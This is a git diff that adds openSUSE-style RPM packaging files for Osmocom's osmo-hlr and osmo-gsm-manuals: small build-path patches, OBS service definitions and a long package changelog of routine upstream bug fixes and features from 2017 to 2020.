+ <!DOCTYPE book PUBLIC "-//OASIS//DTD DocBook XML 5.0//EN"
+-"http://docbook.org/xml/5.0/dtd/docbook.dtd" [
++"/usr/share/xml/docbook/schema/dtd/5.0/docbook.dtd" [
+ <!ENTITY chapter-vty SYSTEM "./common/chapters/vty.xml" >
+ <!ENTITY sections-vty SYSTEM "generated/docbook_vty.xml" >
+ ]>
diff --git a/rpm-local/spec/osmo-gsm-manuals-devel/use-proper-pkgconfig-dir.patch b/rpm-local/spec/osmo-gsm-manuals-devel/use-proper-pkgconfig-dir.patch
new file mode 100644
index 0000000..e655642
--- /dev/null
+++ b/rpm-local/spec/osmo-gsm-manuals-devel/use-proper-pkgconfig-dir.patch
@@ -0,0 +1,13 @@
+diff --git a/Makefile.am b/Makefile.am
+index 75b642e..2413555 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -1,7 +1,7 @@
+ share_files = $(srcdir)/build $(srcdir)/common $(srcdir)/*.xsl
+ share_path = "$(DESTDIR)$(prefix)/share/osmo-gsm-manuals"
+
+-noarch_pkgconfigdir = $(prefix)/lib/pkgconfig
++noarch_pkgconfigdir = $(prefix)/share/pkgconfig
+ noarch_pkgconfig_DATA = osmo-gsm-manuals.pc
+ BUILT_SOURCES = $(top_srcdir)/.version
+ EXTRA_DIST = git-version-gen .version check-depends.sh $(share_files)
diff --git a/rpm-local/spec/osmo-hlr/_service b/rpm-local/spec/osmo-hlr/_service
new file mode 100644
index 0000000..1266072
--- /dev/null
+++ b/rpm-local/spec/osmo-hlr/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-hlr</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-hlr/_servicedata b/rpm-local/spec/osmo-hlr/_servicedata
new file mode 100644
index 0000000..6ea897c
--- /dev/null
+++ b/rpm-local/spec/osmo-hlr/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-hlr</param>
+ <param name="changesrevision">9b8e7b4e3970a92e859f6e8ffd73086aa49546cb</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-hlr/osmo-hlr.changes b/rpm-local/spec/osmo-hlr/osmo-hlr.changes
new file mode 100644
index 0000000..2344114
--- /dev/null
+++ b/rpm-local/spec/osmo-hlr/osmo-hlr.changes
@@ -0,0 +1,838 @@
+-------------------------------------------------------------------
+Tue May 05 20:03:31 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.46:
+ * hlr_subscr_nam(): fix condition to fix nam=false notifications
+ * osmo_mslookup_server_mdns_rx(): handle read() rc == 0
+ * gsup_server.c: properly handle negative rc from osmo_gsup_conn_ccm_get()
+ * osmo_gsup_req_new(): require from_peer != NULL
+ * make osmo_cni_peer_id_cmp() NULL safe
+
+-------------------------------------------------------------------
+Fri May 01 20:02:53 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.41:
+ * auc3g: officially wrap IND around IND_bitlen space
+ * vty: show subscriber: show lu d,h,m,s ago, not just seconds
+ * vty: show subscriber: change format of 'last LU seen'
+ * drop error log for when a subscriber does not exist
+ * adoc: add D-GSM chapter to osmohlr-usermanual
+ * hlr_vty_subscr: prettier output for last LU seen
+ * gsup_server: send routing error back to the correct peer
+ * D-GSM 3/n: implement roaming by mslookup in osmo-hlr
+ * D-GSM 2/n: implement mDNS method of mslookup server
+ * D-GSM 1/n: add mslookup server in osmo-hlr
+ * test_nodes.vty: remove cruft
+ * enlarge the GSUP message headroom
+ * db v5: prep for D-GSM: add vlr_via_proxy and sgsn_via_proxy
+ * gsup client: add up_down_cb(), add osmo_gsup_client_create3()
+ * 2/2: wrap ipa_name in osmo_cni_peer_id with type enum and union
+ * 1/2: refactor: add and use lu_fsm, osmo_gsup_req, osmo_ipa_name
+
+-------------------------------------------------------------------
+Fri Apr 17 20:03:00 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.25:
+ * Cosmetic: mention OS#4491 in location cancel code
+
+-------------------------------------------------------------------
+Tue Apr 14 20:03:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.24:
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Fri Feb 14 21:08:08 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.23:
+ * mslookup_client_mdns_test: no automatic skip
+ * mslookup_client_mdns_test: disable by default
+
+-------------------------------------------------------------------
+Mon Feb 10 21:04:49 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.21:
+ * db: fix possible SQLite3 allocated memory leak in db_open()
+
+-------------------------------------------------------------------
+Fri Jan 31 21:14:20 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.20:
+ * mdns_rfc.c: fix possible access of uninit. mem
+ * gsup_client.c: fix deprecation for client create func
+
+-------------------------------------------------------------------
+Tue Jan 14 21:05:16 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.18:
+ * mdns_sock.c: fix resource leak of sock
+ * osmo-mslookup-client: fix dereferencing null
+ * osmo-mslookup-client.c: fix dereferencing null
+ * mslookup_client_mdns.c: fix dereferencing null
+ * mdns_msg.c: always call va_end
+ * mslookup_client.c: fix dereferencing null pointer
+
+-------------------------------------------------------------------
+Mon Jan 13 21:06:07 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.12:
+ * fix missing braces in LOGP_GSUP_FWD
+ * contrib/dgsm/ add example esme and dialplan
+ * add osmo-mslookup-client program (#2)
+ * add mDNS lookup method to libosmo-mslookup (#2)
+ * Makefile.am: fix pkgconfig_DATA
+
+-------------------------------------------------------------------
+Sun Jan 12 21:13:57 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.7:
+ * Revert "add mDNS lookup method to libosmo-mslookup"
+ * Revert "add osmo-mslookup-client program"
+ * hlr: remove unused internal USSD list
+
+-------------------------------------------------------------------
+Fri Jan 10 21:05:18 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.4:
+ * add osmo-mslookup-client program
+ * add mDNS lookup method to libosmo-mslookup
+ * add libosmo-mslookup abstract client
+ * hlr: respect the num_auth_vectors requested
+
+-------------------------------------------------------------------
+Fri Jan 03 21:07:22 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.0:
+ * Bump version: 1.1.0.26-276c-dirty → 1.2.0
+
+-------------------------------------------------------------------
+Thu Dec 12 21:05:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.26:
+ * tests/auc: change back to python3
+
+-------------------------------------------------------------------
+Wed Dec 04 21:02:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.25:
+ * hlr: exit(2) on unsupported positional arguments on command line
+
+-------------------------------------------------------------------
+Tue Dec 03 21:02:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.24:
+ * gsup_client.h: fix license header: GPLv2+
+
+-------------------------------------------------------------------
+Mon Dec 02 21:04:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.23:
+ * AUC: Add support for setting the AMF separation bit to '1' for EUTRAN
+
+-------------------------------------------------------------------
+Thu Nov 28 21:14:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.22:
+ * db v4: add column last_lu_seen_ps
+
+-------------------------------------------------------------------
+Mon Nov 25 21:07:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.21:
+ * test_nodes.vty: tweak: add some '?' checks
+ * remove gsup_test
+ * Makefile convenience: add VTY_TEST var to run only one test
+ * add osmo_gsup_msgb_alloc()
+ * db upgrade: remove some code dup
+ * fix upgrade test in presence of ~/.sqliterc
+ * gitignore: add tests/db_upgrade/*.dump
+ * move headers to include/osmocom/hlr
+
+-------------------------------------------------------------------
+Tue Nov 12 21:04:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.13:
+ * db.c: code dup: add db_run_statements() for arrays of statements
+ * hlr db schema 3: hlr_number -> msc_number
+ * tests/db_upgrade: disable for old sqlite versions
+
+-------------------------------------------------------------------
+Tue Nov 05 21:14:00 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.10:
+ * add db_upgrade test
+ * hlr.sql: move comment
+ * add --db-check option
+ * fix upgrade to version 2: imei column default value
+ * db upgrade to v2: log version 2, not 1
+
+-------------------------------------------------------------------
+Wed Oct 30 21:02:49 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.5:
+ * fix double free in osmo_gsup_client_enc_send()
+
+-------------------------------------------------------------------
+Thu Oct 10 20:02:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.4:
+ * tests/test_nodes.vty: check less libosmocore cmds
+
+-------------------------------------------------------------------
+Tue Aug 13 20:06:30 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.3:
+ * tests: Fix db_test err file to expect error code name instead of value
+
+-------------------------------------------------------------------
+Mon Aug 12 20:09:58 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.2:
+ * fix spelling errors detected by lintian
+ * Fix test for return codes on mipsel and alpha archs
+
+-------------------------------------------------------------------
+Thu Aug 08 21:56:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.0.0:
+ * Bump version: 1.0.0.49-e493-dirty → 1.1.0
+ * configure.ac: Require libosmocore 1.2.0
+ * Remove undefined param passed to logging_vty_add_cmds
+ * src/db.c: integrate SQLite3 with talloc allocator
+ * tests/db_test: close the database when test is finished
+ * build: fix mess with 'db_test_SOURCES' and 'db_test_LDADD'
+
+-------------------------------------------------------------------
+Fri Jul 26 20:27:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.45:
+ * db_auc.c: verify hex key sizes read from DB
+
+-------------------------------------------------------------------
+Thu Jul 25 20:32:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.44:
+ * gitignore: ignore everything generated in db_test
+
+-------------------------------------------------------------------
+Wed Jul 24 20:21:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.43:
+ * hlr_ussd.c: rx_proc_ss_req(): fix NULL pointer dereference
+ * hlr_ussd.c: fix: properly pass invokeID in handle_ussd_own_msisdn()
+
+-------------------------------------------------------------------
+Tue Jul 16 20:05:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.41:
+ * manuals: improve subscribers create on demand
+ * VTY: add subscriber update network-access-mode
+
+-------------------------------------------------------------------
+Thu Jul 11 20:14:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.39:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Tue Jun 18 20:10:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.38:
+ * manuals: Update vty documentation
+ * manuals: Add script to update vty/counter documentation from docker
+
+-------------------------------------------------------------------
+Thu Jun 13 20:10:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.36:
+ * rx_check_imei_req(): fix IMEI bounds checking
+
+-------------------------------------------------------------------
+Tue Jun 04 20:02:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.35:
+ * db_hlr: zero-initialize "struct tm"
+
+-------------------------------------------------------------------
+Mon Jun 03 20:02:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.34:
+ * db_test: set timezone to work around mktime bug
+
+-------------------------------------------------------------------
+Fri May 31 20:02:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.33:
+ * debian: create -doc subpackage with pdf manuals
+
+-------------------------------------------------------------------
+Sat May 25 20:02:37 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.32:
+ * src/hlr.c: fix deprecation warning: use gsm48_decode_bcd_number2()
+ * src/db.h: use GSM23003_MSISDN_MAX_DIGITS for MSISDN buffer size
+
+-------------------------------------------------------------------
+Tue May 21 20:02:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.30:
+ * Document subscribers create on demand feature
+ * Create subscribers on demand
+
+-------------------------------------------------------------------
+Sun May 19 20:02:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.28:
+ * db_hlr.c: add db_subscr_exists_by_msisdn()
+ * db_hlr.c: add db_subscr_exists_by_imsi()
+ * db_hlr.c: db_subscr_create(): add flags argument
+
+-------------------------------------------------------------------
+Wed May 08 20:03:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.25:
+ * use new OSMO_IMSI_BUF_SIZE
+ * osmo-hlr: allow configuring db path from cfg file
+
+-------------------------------------------------------------------
+Tue May 07 20:03:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.23:
+ * hlr.c: fix possible msgb memleaks in read_cb()
+ * hlr.c: check the presence of msgb->l2h in read_cb()
+ * hlr.c: fix: properly print the original message type in read_cb_forward()
+ * hlr.c: fix: also store the session state in read_cb_forward()
+ * hlr.c: forward GSUP messages between clients
+
+-------------------------------------------------------------------
+Fri Apr 26 20:02:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.18:
+ * add missing error log: invalid IMSI
+ * fix error logging for GSUP route
+
+-------------------------------------------------------------------
+Thu Apr 11 20:02:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.16:
+ * USSD: don't use gsm0480_msgb_alloc_name()
+
+-------------------------------------------------------------------
+Tue Apr 09 20:03:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.15:
+ * USSD: save MO USSD's originating MSC's vlr_number
+ * USSD: fix routing to multiple MSC
+
+-------------------------------------------------------------------
+Mon Apr 08 20:02:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.13:
+ * Cosmetic: gsup_route_find: comment addr, addrlen
+
+-------------------------------------------------------------------
+Tue Mar 19 21:02:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.12:
+ * tests: use -no-install libtool flag to avoid ./lt-* scripts
+ * hlr.c: properly terminate the process on SIGTERM
+
+-------------------------------------------------------------------
+Wed Feb 27 21:02:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.10:
+ * hlr.c: move hlr_ctx to the top
+
+-------------------------------------------------------------------
+Mon Feb 18 21:02:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.9:
+ * Enable statsd support
+ * Add link to project wiki to .service file
+
+-------------------------------------------------------------------
+Thu Feb 14 21:02:51 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.7:
+ * Log ip:port when adding GSUP routes
+
+-------------------------------------------------------------------
+Mon Feb 04 21:02:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.6:
+ * hlr.c: replace deprecated osmo_gsup_get_err_msg_type()
+
+-------------------------------------------------------------------
+Thu Jan 24 21:06:55 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.5:
+ * VTY: integrate IMEI
+ * VTY tests: fill DB before running test
+ * Optionally store IMEI in subscriber table
+ * Add IMEI column to subscriber table
+
+-------------------------------------------------------------------
+Tue Jan 22 20:35:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.1:
+ * docs: running: document --db-upgrade
+
+-------------------------------------------------------------------
+Sun Jan 20 21:02:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.0:
+ * Bump version: 0.2.1.55-607c-dirty → 1.0.0
+
+-------------------------------------------------------------------
+Thu Jan 17 21:02:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.97:
+ * docs: running: s/OsmoBTS/OsmoHLR
+ * docs: running: same argument order as osmo-hlr -h
+
+-------------------------------------------------------------------
+Wed Jan 16 21:02:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.95:
+ * Cosmetic: fix arg desc of db_subscr_update_msisdn_by_imsi()
+ * gitignore: add tests/hlr_vty_test.db*
+
+-------------------------------------------------------------------
+Wed Jan 09 21:02:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.93:
+ * Cosmetic: hlr.c: remove confusing indent below if
+
+-------------------------------------------------------------------
+Mon Jan 07 21:04:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.2.1.92:
+ * Reply to CHECK-IMEI GSUP messages
+
+-------------------------------------------------------------------
+Wed Dec 19 21:02:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.91:
+ * gsupclient: introduce osmo_gsup_client_enc_send()
+
+-------------------------------------------------------------------
+Thu Dec 13 21:02:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.90:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Mon Dec 10 21:02:06 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.89:
+ * display last location update timestamp in vty
+
+-------------------------------------------------------------------
+Fri Dec 07 21:02:12 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.88:
+ * add whitespace around PRId64 constants
+ * store a timestamp of the last location update seen from a subscriber
+
+-------------------------------------------------------------------
+Thu Dec 06 21:02:25 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.86:
+ * introduce osmo_gsup_client_create2()
+
+-------------------------------------------------------------------
+Wed Dec 05 21:02:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.85:
+ * SS/USSD: fix: properly (re)schedule NCSS session timeout
+ * SS/USSD: make NCSS session timeout configurable
+ * SS/USSD: release IUSE sessions immediately after response
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 04 21:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.81:
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+ * Rename db_bootstrap.sed to db_sql2c.sed
+ * add database schema versioning to the HLR database
+
+-------------------------------------------------------------------
+Mon Dec 03 21:02:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.78:
+ * implement removal of MSISDN
+ * add 'show subscriber' command, alias for 'subscriber ... show'
+
+-------------------------------------------------------------------
+Tue Nov 27 21:02:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.76:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * hlr: update vty reference
+ * OsmoBSC/HLR/MSC: Fix default config file name
+ * hlr: Add chapter on USSD configuration
+ * hlr: clarify that aud_3g also applies to 2G
+ * vty-ref: Update URI of docbook 5.0 schema
+ * OsmoHLR: update vty reference
+ * share chapters/gsup.adoc from OsmoSGSN to OsmoMSC + OsmoHLR
+ * OsmoHLR: update section 'Bootstrap the Database'
+ * OsmoHLR: update ctrl description and examples
+ * OsmoHLR: add make target to update the example ctrl and vty files
+ * refactor Makefile build rules, don't use the FORCE
+ * add OsmoHLR manual, OsmoHLR VTY reference
+
+-------------------------------------------------------------------
+Sun Oct 21 17:25:01 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.61:
+ * fix and re-enable osmo_hlr_subscriber_update_notify()
+
+-------------------------------------------------------------------
+Fri Oct 12 20:02:11 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.60:
+ * hlr_ussd.c: fix: reject 'structured' SS requests
+
+-------------------------------------------------------------------
+Thu Oct 11 20:02:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.59:
+ * store gsup peer upon accepting LU
+
+-------------------------------------------------------------------
+Fri Oct 05 20:02:11 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.58:
+ * more space for vlr_number and sgsn_number
+ * fix is_ps logic in rx_upd_loc_req(), store CS as is_ps = false
+
+-------------------------------------------------------------------
+Wed Sep 26 20:02:11 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.56:
+ * fix VTY tests to expect well-formed output of logging configuration
+
+-------------------------------------------------------------------
+Tue Sep 25 20:02:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.55:
+ * osmo-hlr.cfg: Ensure well-formed config file example
+
+-------------------------------------------------------------------
+Wed Sep 19 20:02:14 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.54:
+ * make: always allow running python tests manually
+
+-------------------------------------------------------------------
+Tue Sep 18 20:02:12 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.53:
+ * tweak example config
+
+-------------------------------------------------------------------
+Thu Sep 13 20:02:28 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.52:
+ * fix build: adjust test_nodes.vty to logging change
+ * Install sample cfg file to /etc/osmocom
+ * Move doc/Makefile.am to doc/examples/Makefile.am
+ * Install systemd services with autotools
+
+-------------------------------------------------------------------
+Mon Sep 03 20:02:11 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.48:
+ * libosmo-gsup-client: License is GPLv2-or-later
+
+-------------------------------------------------------------------
+Wed Aug 08 20:02:07 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.47:
+ * USSD: Fix "ussd default-route"
+ * hlr_ussd.c: avoid using CR and NL in IUSE responses
+
+-------------------------------------------------------------------
+Mon Aug 06 20:02:31 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.45:
+ * debian: Make libosmo-gsup-client-dev depend on libosmo-gsup-client0
+ * gitignore: Add .tarball-version
+
+-------------------------------------------------------------------
+Thu Aug 02 20:02:12 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.43:
+ * hlr_ussd.c: fix: properly print a EUSE / IUSE name
+ * USSD/hlr_vty.c: print error if EUSE is not found
+
+-------------------------------------------------------------------
+Wed Aug 01 20:02:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.41:
+ * hlr_ussd.h: drop meaningless forward declaration
+
+-------------------------------------------------------------------
+Tue Jul 31 20:02:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.40:
+ * debian: Fix typo in package description
+ * pkg-config: Fix libosmo-gsup-client pkg-config file
+ * debian: Add sub-package for libosmo-gsup-client
+ * Update .gitignore: ignore osmo-euse-demo
+ * hlr_ussd.h: use proper libc headers
+ * hlr_ussd.h: add #pragma once include guard
+
+-------------------------------------------------------------------
+Mon Jul 30 20:02:08 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.34:
+ * tests/Makefile.am: also remove temporary sqlite files
+ * Update .gitignore: add missing build products
+ * hlr_vty_subscr.c: fix subscriber creation command help
+ * USSD: Add support for internal USSD handlers
+ * Add osmo-euse-demo as minimalistic test of a External USSD (EUSE) handler
+ * USSD: fix null-pointer deref in "default-route" vty/config cmd
+ * USSD: Add new "DSS" logging category and use it appropriately
+ * osmo-hlr.cfg: Don't enable DEBUG logging by default
+ * USSD: Further unification of log output; Use LOGPSS when possible
+ * USSD: Send ReturnError component if USSD Code unknown / EUSE disconnected
+ * hlr_ussd: Introduce LOGPSS() macro
+ * USSD: Add basic dispatch + decode of GSUP-encapsulated SS/USSD
+ * USSD: Add Core USSD handling + VTY routing config to HLR
+ * hlr: Export + Declare global g_hlr symbol
+ * GSUP: Log GSUP route add/remove
+ * src/db.c: don't ignore the result of db_bootstrap()
+ * src/db.c: fix: make sure the database is properly closed
+ * gsup_client: rename gsup_client_* to osmo_gsup_client_*
+ * import gsup_client.c as new libosmo-gsup-client
+ * hlr.c: track the use of talloc NULL memory contexts
+ * hlr.c: free root talloc context on exit
+ * hlr.c: move deinitialization code from SIGINT handler
+
+-------------------------------------------------------------------
+Mon Jul 02 20:02:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.12:
+ * sql/Makefile: Create empty /var/lib/osmocom directory at install time
+ * sql/Makefile: Install sql files under doc/.../sql subdir
+ * sql/Makefile: Install hlr_data.sql as example together with hlr.sql
+ * debian: Avoid installing duplicate cfg file in /etc
+
+-------------------------------------------------------------------
+Sun Jun 24 18:42:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.8:
+ * sql/Makefile.am: Make docsdir completely configurable
+ * Add "show gsup-connections" VTY command
+ * gsup_router: Use "#pragma once" and add missing #includes
+ * move osmo_gsup_addr_send() declaration from luop.h to gsup_router.h
+
+-------------------------------------------------------------------
+Sun Jun 24 18:41:38 UTC 2018 - mardnh@gmx.de
+
+- Remove patch:
+ * osmo-hlr-fix-docpath.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Mon Jun 18 20:02:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.4:
+ * gsup_server: Add "priv" pointer and make it point to 'struct hlr'
+
+-------------------------------------------------------------------
+Fri Jun 15 20:02:17 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.3:
+ * disable blind subscriber insertion into every VLR/SGSN
+
+-------------------------------------------------------------------
+Tue Jun 12 20:02:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.2:
+ * Return proper GSUP error in case of too short IMSI
+
+-------------------------------------------------------------------
+Fri May 18 20:02:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.1:
+ * move creation of insert subscriber data messages to a common function
+
+-------------------------------------------------------------------
+Fri May 04 20:02:27 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.1.0:
+ * fix luop crash: use buffer for APN that remains valid
+ * add gsup_test to catch OS#3231
+ * add error handling to osmo_gsup_configure_wildcard_apn()
+ * Bump version: 0.2.0.3-1b8a → 0.2.1
+
+-------------------------------------------------------------------
+Thu May 03 20:02:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.2.0.0:
+ * don't forget to mark luop as a packet switched connection
+ * Bump version: 0.1.0.39-1cb4-dirty → 0.2.0
+
+-------------------------------------------------------------------
+Wed May 02 20:02:46 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.0.38:
+ * rewrite subscriber_update_notify() without calls into luop
+
+-------------------------------------------------------------------
+Tue Apr 17 20:02:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.0.37:
+ * use osmo_init_logging2
+ * Remove unused src/db_test.c
+
+-------------------------------------------------------------------
+Tue Apr 10 18:47:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.0.35:
+ * notify GSUP clients when HLR subscriber information changes
+
+-------------------------------------------------------------------
+Sat Apr 07 18:53:04 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.0.34:
+ * more robust usage of osmo_timer API for osmo-hlr luop timer
+
+-------------------------------------------------------------------
+Wed Mar 14 21:32:41 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.1.0.33:
+ * ctrl test: fix: adjust expectations after stricter ctrl parsing
+ * Enable sanitize for CI tests
+ * fix build: db_test: missing LIBOSMOABIS_CFLAGS and _LIBS
+ * Add missing build products in .gitignore
+ * Fix expected test output after new 'logging print file 1' vty command
+ * osmo-hlr: Add talloc context introspection via VTY
+ * vty: Don't print error if removing auth data while none present
+ * Fix responses to PURGE MS
+ * configure: add --enable-werror
+ * jenkins.sh: use --enable-werror configure flag, not CFLAGS
+
+-------------------------------------------------------------------
+Tue Mar 13 20:43:18 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream release 0.1.0.33
+
+-------------------------------------------------------------------
+Wed Feb 14 16:15:12 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream release 0.1.0.28
+
+-------------------------------------------------------------------
+Sat Feb 10 16:13:06 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream release 0.1.0.28
+- Add make check
+
+-------------------------------------------------------------------
+Thu Jan 25 19:00:24 UTC 2018 - mardnh@gmx.de
+
+- Package examples file
+
+-------------------------------------------------------------------
+Wed Jan 24 13:06:56 UTC 2018 - mardnh@gmx.de
+
+- Update to new upstream release 0.1.0.26
+
+-------------------------------------------------------------------
+Mon Jan 1 21:24:09 UTC 2018 - jengelh@inai.de
+
+- Update description and versionify BuildRequires.
+- Install service file.
+
+-------------------------------------------------------------------
+Wed Dec 27 12:41:33 UTC 2017 - mardnh@gmx.de
+
+- Update to new upstream release 0.1.0
+ * No changelog was provided
+- Add patch:
+ * osmo-hlr-fix-docpath.patch
+
+-------------------------------------------------------------------
+Sat Mar 04 19:18:55 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.0.1.git1487730330.4436dec:
+ * Move GSUP msg init into separate function
+ * Use strings for GSUP message type
+ * Move lu_operation into separate file
+ * db: move duplicated code into helper functions
+ * Fix compiler's warning about printf security
+ * Add routines to update nam_ps
+ * auc_3g_test: add AUTS resync test
+ * auc_gen_vectors(): ensure sane arguments, test
+ * auc_3g_test: allow to inc fake rand bytes upon rand request
+ * auc_3g_test: add AUTS test with N vectors, to show bug
+ * cosmetic: refactor auc_compute_vectors(), add debug log
+ * auc_compute_vectors(): fix AUTS resync for multiple vectors
+ * cosmetic: auc_3g_test: improve test debugging tools
+ * cosmetic: rename auc_3g_test.c to auc_test.c
+
+-------------------------------------------------------------------
+Wed Feb 15 09:16:57 UTC 2017 - mardnh@gmx.de
+
+- Update to version 0.0.1.git1486997618.f8c7b6f:
+ * debug log: log computed vector kinds
+ * log: move a log from info to debug level
+ * hlr.sql: typo in comment
+ * auc.c: typo in comment
+ * main: add and use root talloc ctx
+ * main: add option parsing with db file and default options
+ * main: add VTY and '-c config-file' option
+ * sql: fix 3g_auc's column K data type
+ * cosmetic: sql: indicate VARCHAR size of key columns as 32
+ * sql: auc_3g: set sqn NOT NULL DEFAULT 0
+ * comment: sql: describe auc_2g and auc_3g columns
